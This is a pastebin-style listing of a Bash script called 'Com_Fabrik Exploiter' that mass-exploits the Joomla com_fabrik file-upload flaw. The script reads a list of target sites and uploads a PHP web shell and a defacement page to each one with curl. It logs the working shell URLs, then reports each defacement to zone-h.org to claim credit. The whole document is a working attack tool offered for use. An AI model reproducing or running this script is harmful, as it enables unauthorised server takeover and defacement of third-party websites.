ccocot icon

com_fabrikbot.sh

ccocot | PRO | 12/10/17 03:10:26 AM UTC | 0 ⭐ | 597 👁️ | Never ⏰ | []
Bash |

2.54 KB

|

None

|

0 👍

/

0 👎

#!/bin/bash
# CODE BY CCOCOT
# TQ FOR INDONESIA CODE PARTY
# [email protected]
 
header(){
cat << "EOF"
             ____   ____ ___  ____  _____   _   _ _____ _____ 
            | __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
            |  _ \| |  | | | | | | |  _|   |  \| |  _|   | |  
            | |_) | |__| |_| | |_| | |___ _| |\  | |___  | |  
            |____/ \____\___/|____/|_____(_)_| \_|_____| |_|  
 
                Com_Fabrik Exploiter
                Ccocot | ccocot@bc0de.net
                Thank For Indonesia Code Party
EOF
}
 
com_fabrik(){
    printf "[?] Website : ${web}\n"
    local ngeshell=$(timeout 10 curl -s -L -F "file=@${1}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
    if [[ $ngeshell =~ "${1}" ]]; then
        printf "[+] Upload Shell ...... Berhasil [${2}/${1}] !\n"
        echo "http://${2}/${1}" >> shel.txt
    else
        printf "[com_fabrik] [!] Upload Shell ...... Gagal !\n"
    fi
    local ngescript=$(timeout 10 curl -s -L -F "file=@${3}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
    if [[ $ngescript =~ "${3}" ]]; then
        printf "[com_fabrik] [+] Upload Script Deface ...... Berhasil [${2}/${3}] !\n"
        echo "http://${2}/${3}" >> sc.txt
        return 0
    else
        printf "[com_fabrik] [!] Upload Script Deface ...... Gagal !\n"
        return 1
    fi
}
 
nge_zh(){
    local submit=$(curl -s "http://www.zone-h.org/notify/single" -d "defacer=${1}&domain1=${2}&hackmode=1&reason=1" \
    -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" \
    -H "Referer: http://www.zone-h.org/notify/single" \
    -H "Origin: http://www.zone-h.org")
    if [[ $submit =~ "color=\"red\">OK<" ]]; then
        echo "${2}" >> zh.txt
        printf "[+] Zone-H ...... OK [${1}] (${2}) !\n"
    else
        printf "[!] Zone-H ...... ERROR [${1}] (${2}) !\n"
    fi
}
 
if [ -z $1 ]; then
    header
    printf "\n To Use $0 <file.txt> <nick> <shell.php> <script.html>\n"
    exit 1
fi
 
header
 
sc=${4}
shell=${3}
nick=${2}
 
printf "\nNickname: ${nick}\n"
printf "Shell File: ${shell}\n"
printf "Script Deface: ${sc}\n\n"
 
# OPTIONAL
persend=20
setleep=5
 
itung=1
 
IFS=$'\r\n' GLOBIGNORE='*' command eval 'web=($(cat $1))'
for (( i = 0; i < "${#web[@]}"; i++ )); do
 
    set_kirik=$(expr $itung % $persend)
    if [[ $set_kirik == 0 && $itung > 0 ]]; then
        sleep $setleep
    fi
 
    web="${web[$i]}"
 
    urlsc_comfabrik="${web[$i]}/${sc}"
    if com_fabrik ${shell} ${web} ${sc} ; then nge_zh ${nick} ${urlsc_comfabrik} ;fi &
 
    itung=$[$itung+1]
done
wait

Comments